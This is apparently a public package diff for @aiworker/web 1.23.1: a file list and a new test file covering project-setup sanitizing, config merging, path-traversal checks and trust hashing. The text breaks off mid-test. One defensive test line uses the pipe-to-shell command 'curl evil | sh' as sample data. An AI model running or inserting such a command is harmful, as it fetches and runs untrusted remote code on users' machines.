@aiworker/web 1.22.2 → 1.23.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/cli.js +7 -0
- package/dist/assets/{CodeMirrorCommentWidgets-CSICpWQD.js → CodeMirrorCommentWidgets-teB3HmBT.js} +1 -1
- package/dist/assets/DiffView-DC9RX3MF.js +4 -0
- package/dist/assets/{DirtyBranchSwitchDialog-C22HdWj4.js → DirtyBranchSwitchDialog-DwPkzXsS.js} +1 -1
- package/dist/assets/FilesView-BFZkuu4O.js +13 -0
- package/dist/assets/{GitView-VQQkYuUw.js → GitView-B_x52MHY.js} +4 -4
- package/dist/assets/{JsonTreeView-6lrhwD3q.js → JsonTreeView-cmAzUTiw.js} +1 -1
- package/dist/assets/{LinearIssuesView-Ba6Q9569.js → LinearIssuesView-Dehh5afm.js} +1 -1
- package/dist/assets/MarkdownImageGallery-DgNOqqhE.js +1 -0
- package/dist/assets/MarkdownRendererImpl-DusmMZ_p.js +12 -0
- package/dist/assets/OnboardingScreen-B8fm1H4m.js +1 -0
- package/dist/assets/{PatchDiff-BzcZPlOq.js → PatchDiff-BVr7gJU0.js} +1 -1
- package/dist/assets/PierreDiffViewer-DzLt-nel.js +161 -0
- package/dist/assets/PlanView-BmQUYT_z.js +5 -0
- package/dist/assets/SettingsView-ChWmAcZT.js +28 -0
- package/dist/assets/{SettingsWindow-DDQYaKWQ.js → SettingsWindow-Dy3M6ZB9.js} +1 -1
- package/dist/assets/SymbolsNerdFontMono-Regular-aK5vsLov.woff2 +0 -0
- package/dist/assets/{ToolOutputDialog-iYF8Y2bz.js → ToolOutputDialog-cTl_eLIH.js} +5 -5
- package/dist/assets/{ToolPartDiffPreview-CdjbOVMM.js → ToolPartDiffPreview-C_3iYNJQ.js} +1 -1
- package/dist/assets/{VirtualizedFileDiff-fFFm2QgH.js → VirtualizedFileDiff-CAWthkoy.js} +4 -4
- package/dist/assets/WalkthroughView-C7AHOpCA.js +4 -0
- package/dist/assets/{computeVirtualFileMetrics-CzgLum_K.js → computeVirtualFileMetrics-BkiDSlTW.js} +2 -2
- package/dist/assets/contextPanelEmbeddedChat-BdA6bdky.js +1 -0
- package/dist/assets/de-DJsQr-p7.js +10 -0
- package/dist/assets/es-BuYMlA9g.js +16 -0
- package/dist/assets/fr-ePDay33C.js +14 -0
- package/dist/assets/ghostty-vt-DdA0Zryv.wasm +0 -0
- package/dist/assets/index-BD8ILbxF.js +40 -0
- package/dist/assets/{index-Bl3LSbjn.js → index-n6O3hklM.js} +1 -1
- package/dist/assets/index-zhgg-SDz.css +1 -0
- package/dist/assets/{isDiffPlainText-Dx-dB_8l.js → isDiffPlainText-GMdPz-71.js} +1 -1
- package/dist/assets/{isFilePlainText-CWFPwmnU.js → isFilePlainText-BVuH1zH9.js} +1 -1
- package/dist/assets/ja-BzR9xOY_.js +16 -0
- package/dist/assets/ko-BEjHAm14.js +16 -0
- package/dist/assets/main-BydQ1tr_.js +930 -0
- package/dist/assets/{main-DnBAoktx.js → main-D3ZDQglc.js} +2 -2
- package/dist/assets/markdownCore-Cb2MdZnV.js +5 -0
- package/dist/assets/{miniChat-BKyvLseN.js → miniChat-d01k801U.js} +2 -2
- package/dist/assets/{mobile-DKjeFgMN.js → mobile-D7VV-Ufz.js} +2 -2
- package/dist/assets/patchFileDiff-CdztVMz0.js +13 -0
- package/dist/assets/pl-rQmpxNIF.js +16 -0
- package/dist/assets/pt-BR-CorbsSW-.js +16 -0
- package/dist/assets/renderElectronMiniChatApp-BGG9UIlh.js +2 -0
- package/dist/assets/renderMobileApp-BRP3J1iv.js +25 -0
- package/dist/assets/runtimeEndpointReset-BhT_-c52.js +41 -0
- package/dist/assets/scheduledTasksApi-BEuUF_cj.js +1 -0
- package/dist/assets/{shikiHighlight-TEQCmzW8.js → shikiHighlight-BzXUjlby.js} +1 -1
- package/dist/assets/surface-COKb77Ua.js +1 -0
- package/dist/assets/tr-CoAMXPtI.js +7 -0
- package/dist/assets/uk-YlAX0rRU.js +16 -0
- package/dist/assets/{useAppFontEffects-D7sNpuL2.js → useAppFontEffects-Cwyhjfl5.js} +141 -140
- package/dist/assets/useGitComparison-BCZVefdE.js +1 -0
- package/dist/assets/useInlineCommentController-DDkpBEU8.js +2 -0
- package/dist/assets/useRootScrollLock-CwjoWuC4.js +1 -0
- package/dist/assets/{vendor-base-ui-BeMD8X_w.js → vendor-base-ui-BY_5qla_.js} +1 -1
- package/dist/assets/{vendor-codemirror-language-data-Dp3KMRQG.js → vendor-codemirror-language-data-Cb1YnICj.js} +2 -2
- package/dist/assets/vendor-legendapp-list-BuBPBC3R.js +1 -0
- package/dist/assets/vendor-zod-B6551dwG.js +39 -0
- package/dist/assets/{web-components-_mNEMjFY.js → web-components-LV3vjTxy.js} +1 -1
- package/dist/assets/zh-CN-DDYg0Jl7.js +16 -0
- package/dist/assets/zh-TW-CQKaCayr.js +16 -0
- package/dist/index.html +5 -43
- package/dist/mini-chat.html +4 -4
- package/dist/mobile.html +4 -4
- package/package.json +2 -3
- package/server/index.d.ts +15 -0
- package/server/index.js +48 -22
- package/server/lib/agent-memory/runtime.js +7 -2
- package/server/lib/agent-memory/runtime.test.js +22 -0
- package/server/lib/data-dir-migration.js +40 -0
- package/server/lib/data-dir-migration.test.js +59 -0
- package/server/lib/event-stream/DOCUMENTATION.md +3 -0
- package/server/lib/event-stream/global-hub.js +29 -4
- package/server/lib/event-stream/global-hub.test.js +22 -0
- package/server/lib/event-stream/global-ws-bridge.js +15 -18
- package/server/lib/event-stream/protocol.js +21 -7
- package/server/lib/event-stream/runtime.js +9 -6
- package/server/lib/event-stream/runtime.test.js +72 -12
- package/server/lib/fs/DOCUMENTATION.md +3 -0
- package/server/lib/fs/routes.js +31 -0
- package/server/lib/fs/routes.test.js +110 -1
- package/server/lib/git/DOCUMENTATION.md +39 -6
- package/server/lib/git/routes.js +45 -12
- package/server/lib/git/routes.test.js +78 -0
- package/server/lib/git/service.js +343 -202
- package/server/lib/git/service.test.js +496 -25
- package/server/lib/github/DOCUMENTATION.md +5 -0
- package/server/lib/github/routes.js +2 -2
- package/server/lib/inherited-env.js +16 -9
- package/server/lib/inherited-env.test.js +8 -9
- package/server/lib/message-queue/DOCUMENTATION.md +11 -1
- package/server/lib/message-queue/runtime.js +13 -0
- package/server/lib/message-queue/runtime.test.js +31 -1
- package/server/lib/network-defaults.js +23 -0
- package/server/lib/network-defaults.test.js +52 -0
- package/server/lib/notifications/DOCUMENTATION.md +1 -1
- package/server/lib/notifications/emitter-runtime.js +4 -3
- package/server/lib/opencode/DOCUMENTATION.md +35 -5
- package/server/lib/opencode/bootstrap-runtime.js +2 -0
- package/server/lib/opencode/env-runtime.js +5 -1
- package/server/lib/opencode/env-runtime.test.js +72 -0
- package/server/lib/opencode/feature-routes-runtime.js +17 -1
- package/server/lib/opencode/lifecycle.js +4 -3
- package/server/lib/opencode/lifecycle.test.js +29 -0
- package/server/lib/opencode/managed-plugin-config.js +1 -1
- package/server/lib/opencode/openchamber-routes.js +64 -4
- package/server/lib/opencode/openchamber-routes.test.js +128 -1
- package/server/lib/opencode/proxy.js +33 -0
- package/server/lib/opencode/routes.js +5 -3
- package/server/lib/opencode/settings-files.js +214 -0
- package/server/lib/opencode/settings-helpers.js +88 -41
- package/server/lib/opencode/settings-helpers.test.js +176 -1
- package/server/lib/opencode/settings-registry.json +750 -0
- package/server/lib/opencode/settings-runtime.js +175 -27
- package/server/lib/opencode/settings-runtime.test.js +321 -7
- package/server/lib/project-context/DOCUMENTATION.md +38 -4
- package/server/lib/project-context/routes.http.test.js +18 -0
- package/server/lib/project-context/routes.js +15 -0
- package/server/lib/project-context/runtime.js +256 -25
- package/server/lib/project-context/runtime.test.js +160 -3
- package/server/lib/projects/DOCUMENTATION.md +77 -0
- package/server/lib/projects/project-config.js +179 -17
- package/server/lib/projects/project-config.test.js +97 -0
- package/server/lib/projects/project-id.js +43 -0
- package/server/lib/projects/project-setup.js +409 -0
- package/server/lib/projects/project-setup.test.js +557 -0
- package/server/lib/projects/routes.js +59 -0
- package/server/lib/quota/DOCUMENTATION.md +31 -1
- package/server/lib/quota/providers/cline-pass.js +125 -0
- package/server/lib/quota/providers/cline-pass.test.js +103 -0
- package/server/lib/quota/providers/index.js +7 -0
- package/server/lib/quota/providers/neuralwatt.js +3 -6
- package/server/lib/quota/providers/neuralwatt.test.js +7 -7
- package/server/lib/quota/providers/ollama-cloud.js +31 -0
- package/server/lib/quota/providers/ollama-cloud.test.js +33 -1
- package/server/lib/quota/providers/opencode-go.js +1 -1
- package/server/lib/quota/providers/opencode-go.test.js +26 -1
- package/server/lib/quota/providers/openrouter.js +119 -24
- package/server/lib/quota/providers/openrouter.test.js +330 -0
- package/server/lib/relay/DOCUMENTATION.md +75 -0
- package/server/lib/relay/cross-compat.test.js +26 -0
- package/server/lib/relay/downstream-scheduler.js +154 -0
- package/server/lib/relay/downstream-scheduler.test.js +162 -0
- package/server/lib/relay/e2ee.js +10 -8
- package/server/lib/relay/flow-control.test.js +177 -0
- package/server/lib/relay/host-client.js +44 -8
- package/server/lib/relay/host-client.test.js +14 -0
- package/server/lib/relay/tunnel-codec.js +9 -0
- package/server/lib/relay/tunnel-host.js +66 -17
- package/server/lib/scheduled-tasks/DOCUMENTATION.md +9 -1
- package/server/lib/scheduled-tasks/issue-2710-double-execution.test.js +28 -0
- package/server/lib/scheduled-tasks/runtime.js +12 -2
- package/server/lib/scheduled-tasks/runtime.test.js +53 -0
- package/server/lib/session-assist/DOCUMENTATION.md +131 -66
- package/server/lib/session-assist/context.js +127 -0
- package/server/lib/session-assist/context.test.js +132 -0
- package/server/lib/session-assist/prompt.js +54 -0
- package/server/lib/session-assist/runtime.js +117 -267
- package/server/lib/session-assist/runtime.test.js +203 -0
- package/server/lib/session-goal/runtime.js +4 -9
- package/server/lib/small-model/DOCUMENTATION.md +3 -2
- package/server/lib/small-model/call.js +9 -4
- package/server/lib/small-model/call.test.js +29 -0
- package/server/lib/small-model/index.js +5 -10
- package/server/lib/small-model/runtime-providers.js +15 -7
- package/server/lib/small-model/runtime-providers.test.js +7 -1
- package/server/lib/terminal/DOCUMENTATION.md +4 -4
- package/server/lib/terminal/runtime.js +11 -6
- package/server/lib/terminal/runtime.test.js +20 -13
- package/server/lib/walkthrough/DOCUMENTATION.md +49 -20
- package/server/lib/walkthrough/model-settings.js +8 -12
- package/server/lib/walkthrough/pr-source.test.js +21 -0
- package/server/lib/walkthrough/prompt.js +3 -1
- package/server/lib/walkthrough/pull-request.js +7 -4
- package/server/lib/walkthrough/pull-request.test.js +16 -0
- package/server/lib/walkthrough/routes.js +19 -0
- package/server/lib/walkthrough/routes.test.js +26 -0
- package/server/lib/walkthrough/sources.js +36 -4
- package/server/opencode-worktree-readiness.test.js +130 -0
- package/dist/assets/DiffView-hDBKesA_.js +0 -4
- package/dist/assets/FilesView-CdWzeOp9.js +0 -17
- package/dist/assets/MarkdownImageGallery-Czv_mhvS.js +0 -1
- package/dist/assets/MarkdownRendererImpl-BrMcswiy.js +0 -12
- package/dist/assets/OnboardingScreen-ChxQoAkx.js +0 -1
- package/dist/assets/PierreDiffViewer-BchBtZlp.js +0 -157
- package/dist/assets/PlanView-DyDt_nZ_.js +0 -5
- package/dist/assets/SettingsView-BKf5xBsP.js +0 -28
- package/dist/assets/WalkthroughView-DOeCsMju.js +0 -4
- package/dist/assets/contextPanelEmbeddedChat-C0ZLAepL.js +0 -1
- package/dist/assets/de-B5JaA3SA.js +0 -10
- package/dist/assets/es-EPIH88ii.js +0 -16
- package/dist/assets/fr-CAMfxUdZ.js +0 -14
- package/dist/assets/index-DF5kMP-i.js +0 -39
- package/dist/assets/index-Dl3xbAB_.css +0 -1
- package/dist/assets/ja-CifOE1VN.js +0 -16
- package/dist/assets/ko-BBDyAyYQ.js +0 -16
- package/dist/assets/main-MhSaOZoB.js +0 -930
- package/dist/assets/markdownCore-BrBwOOMn.js +0 -3
- package/dist/assets/patchFileDiff-o8ms1me8.js +0 -10
- package/dist/assets/pl-DgEHYfFM.js +0 -16
- package/dist/assets/pt-BR-DuWHojUw.js +0 -16
- package/dist/assets/renderElectronMiniChatApp-CDgBwwCS.js +0 -2
- package/dist/assets/renderMobileApp-DJIKIK1r.js +0 -25
- package/dist/assets/runtimeEndpointReset-CYJ9O_xX.js +0 -17
- package/dist/assets/scheduledTasksApi-D8yamh1b.js +0 -1
- package/dist/assets/tr-D5m2yIWL.js +0 -7
- package/dist/assets/uk-D_q60oog.js +0 -16
- package/dist/assets/useInlineCommentController-Brz_cLcQ.js +0 -2
- package/dist/assets/useRootScrollLock-lXEnWlaU.js +0 -1
- package/dist/assets/vendor-ghostty-web-CrxinGGH.js +0 -13
- package/dist/assets/vendor-legendapp-list-gg7YLRW7.js +0 -1
- package/dist/assets/vendor-zod-CK21ihK-.js +0 -39
- package/dist/assets/zh-CN-D8QvsVeg.js +0 -16
- package/dist/assets/zh-TW-B9t7rQQO.js +0 -16
- package/server/lib/mcp-reconnect/DOCUMENTATION.md +0 -55
- package/server/lib/mcp-reconnect/runtime.js +0 -122
- package/server/lib/mcp-reconnect/runtime.test.js +0 -140
|
@@ -0,0 +1,557 @@
|
|
|
1
|
+
import { describe, expect, it } from 'vitest';
|
|
2
|
+
import os from 'os';
|
|
3
|
+
import path from 'path';
|
|
4
|
+
import { mkdir, mkdtemp, readFile, rm, writeFile } from 'fs/promises';
|
|
5
|
+
|
|
6
|
+
import { createProjectConfigRuntime } from './project-config.js';
|
|
7
|
+
import { createProjectIdFromPath, projectPathFromId } from './project-id.js';
|
|
8
|
+
import {
|
|
9
|
+
applySharedProjectSetupPatch,
|
|
10
|
+
isSharedProjectConfigEmpty,
|
|
11
|
+
mergeProjectSetup,
|
|
12
|
+
normalizePlansDir,
|
|
13
|
+
serializeSharedProjectConfig,
|
|
14
|
+
parseSharedProjectConfig,
|
|
15
|
+
sharedTrustHashOf,
|
|
16
|
+
projectSetupPatchToStored,
|
|
17
|
+
projectSetupViewOf,
|
|
18
|
+
sanitizeDraftStarters,
|
|
19
|
+
sanitizeProjectActions,
|
|
20
|
+
sanitizeSetupCommands,
|
|
21
|
+
} from './project-setup.js';
|
|
22
|
+
|
|
23
|
+
const emptyPersonal = {
|
|
24
|
+
setupWorktree: [],
|
|
25
|
+
setupWorktreeWait: null,
|
|
26
|
+
setupWorktreeMode: 'append',
|
|
27
|
+
projectActions: [],
|
|
28
|
+
projectActionsPrimaryId: null,
|
|
29
|
+
draftStarters: [],
|
|
30
|
+
hiddenSharedActionIds: [],
|
|
31
|
+
sharedTrust: null,
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
const createRuntime = async () => {
|
|
35
|
+
const tempRoot = await mkdtemp(path.join(os.tmpdir(), 'oc-project-setup-'));
|
|
36
|
+
const runtime = createProjectConfigRuntime({
|
|
37
|
+
fsPromises: await import('fs/promises'),
|
|
38
|
+
path,
|
|
39
|
+
projectsDirPath: path.join(tempRoot, 'projects'),
|
|
40
|
+
createTaskID: () => 'task-fixed-id',
|
|
41
|
+
});
|
|
42
|
+
return {
|
|
43
|
+
runtime,
|
|
44
|
+
tempRoot,
|
|
45
|
+
readRaw: async (projectId) => JSON.parse(await readFile(path.join(tempRoot, 'projects', `${projectId}.json`), 'utf8')),
|
|
46
|
+
cleanup: () => rm(tempRoot, { recursive: true, force: true }),
|
|
47
|
+
};
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
describe('project setup sanitizers', () => {
|
|
51
|
+
it('keeps only non-empty trimmed setup commands', () => {
|
|
52
|
+
expect(sanitizeSetupCommands([' bun install ', '', 42, '\n'])).toEqual(['bun install']);
|
|
53
|
+
expect(sanitizeSetupCommands('bun install')).toEqual([]);
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
it('drops actions without id, name, or command and duplicate ids', () => {
|
|
57
|
+
expect(sanitizeProjectActions([
|
|
58
|
+
{ id: 'a', name: 'Dev', command: 'bun run dev' },
|
|
59
|
+
{ id: 'a', name: 'Again', command: 'x' },
|
|
60
|
+
{ id: '', name: 'No id', command: 'x' },
|
|
61
|
+
{ id: 'b', name: '', command: 'x' },
|
|
62
|
+
'not an action',
|
|
63
|
+
])).toEqual([{ id: 'a', name: 'Dev', command: 'bun run dev', icon: null }]);
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
it('keeps only the optional action fields the user set', () => {
|
|
67
|
+
expect(sanitizeProjectActions([{
|
|
68
|
+
id: 'a',
|
|
69
|
+
name: 'Dev',
|
|
70
|
+
command: 'bun run dev',
|
|
71
|
+
icon: ' rocket ',
|
|
72
|
+
runIn: 'parent',
|
|
73
|
+
platforms: ['macos', 'MacOS', 'plan9', 'linux'],
|
|
74
|
+
autoOpenUrl: true,
|
|
75
|
+
openUrl: 'http://localhost:3000',
|
|
76
|
+
desktopOpenSshForward: '',
|
|
77
|
+
}])).toEqual([{
|
|
78
|
+
id: 'a',
|
|
79
|
+
name: 'Dev',
|
|
80
|
+
command: 'bun run dev',
|
|
81
|
+
icon: 'rocket',
|
|
82
|
+
autoOpenUrl: true,
|
|
83
|
+
openUrl: 'http://localhost:3000',
|
|
84
|
+
platforms: ['macos', 'linux'],
|
|
85
|
+
runIn: 'parent',
|
|
86
|
+
}]);
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it('treats any runIn other than parent as the worktree default', () => {
|
|
90
|
+
const [worktree, number] = sanitizeProjectActions([
|
|
91
|
+
{ id: 'a', name: 'A', command: 'x', runIn: 'worktree' },
|
|
92
|
+
{ id: 'b', name: 'B', command: 'x', runIn: 123 },
|
|
93
|
+
]);
|
|
94
|
+
expect(worktree).not.toHaveProperty('runIn');
|
|
95
|
+
expect(number).not.toHaveProperty('runIn');
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
it('dedupes draft starters by type and name', () => {
|
|
99
|
+
expect(sanitizeDraftStarters([
|
|
100
|
+
{ type: 'skill', name: 'triage-prs' },
|
|
101
|
+
{ type: 'skill', name: 'triage-prs' },
|
|
102
|
+
{ type: 'command', name: ' explore ' },
|
|
103
|
+
{ type: 'agent', name: 'nope' },
|
|
104
|
+
])).toEqual([{ type: 'skill', name: 'triage-prs' }, { type: 'command', name: 'explore' }]);
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
it('builds the personal view from the on-disk keys and nulls a dangling primary action', () => {
|
|
108
|
+
expect(projectSetupViewOf({
|
|
109
|
+
'setup-worktree': ['bun install'],
|
|
110
|
+
'setup-worktree-wait': true,
|
|
111
|
+
setupWorktreeMode: 'replace',
|
|
112
|
+
projectActions: [{ id: 'a', name: 'A', command: 'x' }],
|
|
113
|
+
projectActionsPrimaryId: 'missing',
|
|
114
|
+
draftStarters: [{ type: 'skill', name: 's' }],
|
|
115
|
+
hiddenSharedActionIds: ['dev', '', 'dev', 7],
|
|
116
|
+
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
|
|
117
|
+
scheduledTasks: [{ id: 't' }],
|
|
118
|
+
})).toEqual({
|
|
119
|
+
setupWorktree: ['bun install'],
|
|
120
|
+
setupWorktreeWait: true,
|
|
121
|
+
setupWorktreeMode: 'replace',
|
|
122
|
+
projectActions: [{ id: 'a', name: 'A', command: 'x', icon: null }],
|
|
123
|
+
projectActionsPrimaryId: null,
|
|
124
|
+
draftStarters: [{ type: 'skill', name: 's' }],
|
|
125
|
+
hiddenSharedActionIds: ['dev'],
|
|
126
|
+
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
|
|
127
|
+
});
|
|
128
|
+
expect(projectSetupViewOf(null)).toEqual(emptyPersonal);
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
it('maps a patch to the stored keys it names and rejects wrong shapes', () => {
|
|
132
|
+
expect(projectSetupPatchToStored({
|
|
133
|
+
setupWorktree: ['a'],
|
|
134
|
+
projectActionsPrimaryId: null,
|
|
135
|
+
hiddenSharedActionIds: ['x'],
|
|
136
|
+
setupWorktreeMode: 'replace',
|
|
137
|
+
})).toEqual({
|
|
138
|
+
'setup-worktree': ['a'],
|
|
139
|
+
projectActionsPrimaryId: undefined,
|
|
140
|
+
hiddenSharedActionIds: ['x'],
|
|
141
|
+
setupWorktreeMode: 'replace',
|
|
142
|
+
});
|
|
143
|
+
expect(projectSetupPatchToStored({})).toEqual({});
|
|
144
|
+
expect(() => projectSetupPatchToStored({ setupWorktree: 'a' })).toThrow('setupWorktree must be');
|
|
145
|
+
expect(() => projectSetupPatchToStored({ setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
|
|
146
|
+
expect(() => projectSetupPatchToStored({ projectActions: {} })).toThrow('projectActions must be');
|
|
147
|
+
expect(() => projectSetupPatchToStored({ draftStarters: null })).toThrow('draftStarters must be');
|
|
148
|
+
expect(() => projectSetupPatchToStored({ hiddenSharedActionIds: 'dev' })).toThrow('hiddenSharedActionIds must be');
|
|
149
|
+
expect(() => projectSetupPatchToStored({ setupWorktreeMode: 'merge' })).toThrow('setupWorktreeMode must be');
|
|
150
|
+
expect(() => projectSetupPatchToStored({ sharedTrustHash: '' })).toThrow('sharedTrustHash must be');
|
|
151
|
+
expect(projectSetupPatchToStored({ sharedTrustHash: null })).toEqual({ sharedTrust: undefined });
|
|
152
|
+
expect(projectSetupPatchToStored({ sharedTrustHash: 'sha256:x' }).sharedTrust).toMatchObject({ hash: 'sha256:x' });
|
|
153
|
+
expect(() => projectSetupPatchToStored([])).toThrow('patch must be');
|
|
154
|
+
});
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
describe('shared project config', () => {
|
|
158
|
+
it('accepts a relative plansDir inside the repo only', () => {
|
|
159
|
+
expect(normalizePlansDir(' docs/plans/ ')).toBe('docs/plans');
|
|
160
|
+
expect(normalizePlansDir('./.aiworker/plans')).toBe('.aiworker/plans');
|
|
161
|
+
expect(normalizePlansDir('docs\\plans')).toBe('docs/plans');
|
|
162
|
+
expect(normalizePlansDir('/etc')).toBeNull();
|
|
163
|
+
expect(normalizePlansDir('C:/plans')).toBeNull();
|
|
164
|
+
expect(normalizePlansDir('../sibling/plans')).toBeNull();
|
|
165
|
+
expect(normalizePlansDir('docs/../../x')).toBeNull();
|
|
166
|
+
expect(normalizePlansDir('')).toBeNull();
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
it('parses a version-1 file and sanitizes its lists', () => {
|
|
170
|
+
expect(parseSharedProjectConfig(JSON.stringify({
|
|
171
|
+
version: 1,
|
|
172
|
+
setupWorktree: ['bun install', ''],
|
|
173
|
+
setupWorktreeWait: true,
|
|
174
|
+
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: '', name: 'x', command: 'y' }],
|
|
175
|
+
draftStarters: [{ type: 'skill', name: 's' }],
|
|
176
|
+
plansDir: 'docs/plans',
|
|
177
|
+
}))).toEqual({
|
|
178
|
+
status: 'ok',
|
|
179
|
+
config: {
|
|
180
|
+
setupWorktree: ['bun install'],
|
|
181
|
+
setupWorktreeWait: true,
|
|
182
|
+
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }],
|
|
183
|
+
draftStarters: [{ type: 'skill', name: 's' }],
|
|
184
|
+
plansDir: 'docs/plans',
|
|
185
|
+
},
|
|
186
|
+
});
|
|
187
|
+
expect(parseSharedProjectConfig('{"version":1}')).toEqual({
|
|
188
|
+
status: 'ok',
|
|
189
|
+
config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null },
|
|
190
|
+
});
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
it('reports a broken file as invalid with a reason, never as empty', () => {
|
|
194
|
+
expect(parseSharedProjectConfig('{ nope').status).toBe('invalid');
|
|
195
|
+
expect(parseSharedProjectConfig('[]')).toEqual({ status: 'invalid', reason: 'not an object' });
|
|
196
|
+
expect(parseSharedProjectConfig('{"version":2}').reason).toMatch(/unsupported version/);
|
|
197
|
+
expect(parseSharedProjectConfig('{"version":1,"setupWorktree":"bun install"}').reason).toMatch(/setupWorktree must be/);
|
|
198
|
+
expect(parseSharedProjectConfig('{"version":1,"plansDir":"/etc"}').reason).toMatch(/plansDir/);
|
|
199
|
+
});
|
|
200
|
+
|
|
201
|
+
it('merges shared and personal by the agreed rules', () => {
|
|
202
|
+
const shared = {
|
|
203
|
+
status: 'ok',
|
|
204
|
+
config: {
|
|
205
|
+
setupWorktree: ['bun install'],
|
|
206
|
+
setupWorktreeWait: true,
|
|
207
|
+
projectActions: [
|
|
208
|
+
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null },
|
|
209
|
+
{ id: 'test', name: 'Test', command: 'bun test', icon: null },
|
|
210
|
+
{ id: 'lint', name: 'Lint', command: 'bun lint', icon: null },
|
|
211
|
+
],
|
|
212
|
+
draftStarters: [{ type: 'skill', name: 'shared-skill' }, { type: 'command', name: 'both' }],
|
|
213
|
+
plansDir: 'docs/plans',
|
|
214
|
+
},
|
|
215
|
+
};
|
|
216
|
+
const personal = {
|
|
217
|
+
...emptyPersonal,
|
|
218
|
+
setupWorktree: ['cp .env.example .env'],
|
|
219
|
+
projectActions: [{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null }],
|
|
220
|
+
projectActionsPrimaryId: 'test',
|
|
221
|
+
draftStarters: [{ type: 'command', name: 'both' }, { type: 'command', name: 'mine' }],
|
|
222
|
+
hiddenSharedActionIds: ['lint'],
|
|
223
|
+
};
|
|
224
|
+
|
|
225
|
+
const merged = mergeProjectSetup(personal, shared);
|
|
226
|
+
expect(merged.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
|
|
227
|
+
expect(merged.setupWorktreeWait).toBe(true);
|
|
228
|
+
expect(merged.projectActions).toEqual([
|
|
229
|
+
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'shared' },
|
|
230
|
+
{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null, source: 'personal' },
|
|
231
|
+
]);
|
|
232
|
+
expect(merged.projectActionsPrimaryId).toBe('test');
|
|
233
|
+
expect(merged.draftStarters).toEqual([
|
|
234
|
+
{ type: 'skill', name: 'shared-skill', source: 'shared' },
|
|
235
|
+
{ type: 'command', name: 'both', source: 'shared' },
|
|
236
|
+
{ type: 'command', name: 'mine', source: 'personal' },
|
|
237
|
+
]);
|
|
238
|
+
expect(merged.shared).toEqual({ status: 'ok', path: '.aiworker/project.json', ...shared.config });
|
|
239
|
+
expect(merged.personal).toBe(personal);
|
|
240
|
+
expect(merged.trust).toEqual({ hash: sharedTrustHashOf(shared.config), trusted: false });
|
|
241
|
+
});
|
|
242
|
+
|
|
243
|
+
it('hashes the executable parts of the shared config, order-independent for actions', () => {
|
|
244
|
+
const base = { setupWorktree: ['bun install'], projectActions: [{ id: 'b', name: 'B', command: 'y', icon: null }, { id: 'a', name: 'A', command: 'x', icon: null }], draftStarters: [], plansDir: null, setupWorktreeWait: null };
|
|
245
|
+
const hash = sharedTrustHashOf(base);
|
|
246
|
+
expect(hash).toMatch(/^sha256:[0-9a-f]{64}$/);
|
|
247
|
+
expect(sharedTrustHashOf({ ...base, projectActions: [...base.projectActions].reverse() })).toBe(hash);
|
|
248
|
+
// Renaming or re-describing does not change what runs; changing a command does.
|
|
249
|
+
expect(sharedTrustHashOf({ ...base, projectActions: base.projectActions.map((a) => ({ ...a, name: 'Renamed', icon: 'rocket' })) })).toBe(hash);
|
|
250
|
+
expect(sharedTrustHashOf({ ...base, setupWorktree: ['curl evil | sh'] })).not.toBe(hash);
|
|
251
|
+
expect(sharedTrustHashOf({ ...base, projectActions: [{ ...base.projectActions[0], runIn: 'parent' }, base.projectActions[1]] })).not.toBe(hash);
|
|
252
|
+
expect(sharedTrustHashOf({ ...base, setupWorktree: [], projectActions: [] })).toBeNull();
|
|
253
|
+
});
|
|
254
|
+
|
|
255
|
+
it('reports trust: nothing to trust without executable shared parts, trusted only for the recorded hash', () => {
|
|
256
|
+
const inert = { status: 'ok', config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [{ type: 'skill', name: 's' }], plansDir: null } };
|
|
257
|
+
expect(mergeProjectSetup(emptyPersonal, inert).trust).toEqual({ hash: null, trusted: true });
|
|
258
|
+
expect(mergeProjectSetup(emptyPersonal, { status: 'missing' }).trust).toEqual({ hash: null, trusted: true });
|
|
259
|
+
|
|
260
|
+
const risky = { status: 'ok', config: { ...inert.config, setupWorktree: ['bun install'] } };
|
|
261
|
+
const hash = sharedTrustHashOf(risky.config);
|
|
262
|
+
expect(mergeProjectSetup(emptyPersonal, risky).trust).toEqual({ hash, trusted: false });
|
|
263
|
+
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash, trustedAt: 1 } }, risky).trust.trusted).toBe(true);
|
|
264
|
+
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash: 'sha256:stale', trustedAt: 1 } }, risky).trust.trusted).toBe(false);
|
|
265
|
+
});
|
|
266
|
+
|
|
267
|
+
it('lets the personal wait flag and replace mode win over shared', () => {
|
|
268
|
+
const shared = { status: 'ok', config: { setupWorktree: ['bun install'], setupWorktreeWait: true, projectActions: [], draftStarters: [], plansDir: null } };
|
|
269
|
+
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'], setupWorktreeWait: false, setupWorktreeMode: 'replace' }, shared);
|
|
270
|
+
expect(merged.setupWorktree).toEqual(['mine']);
|
|
271
|
+
expect(merged.setupWorktreeWait).toBe(false);
|
|
272
|
+
});
|
|
273
|
+
|
|
274
|
+
it('carries an invalid shared read through with its reason and merges nothing from it', () => {
|
|
275
|
+
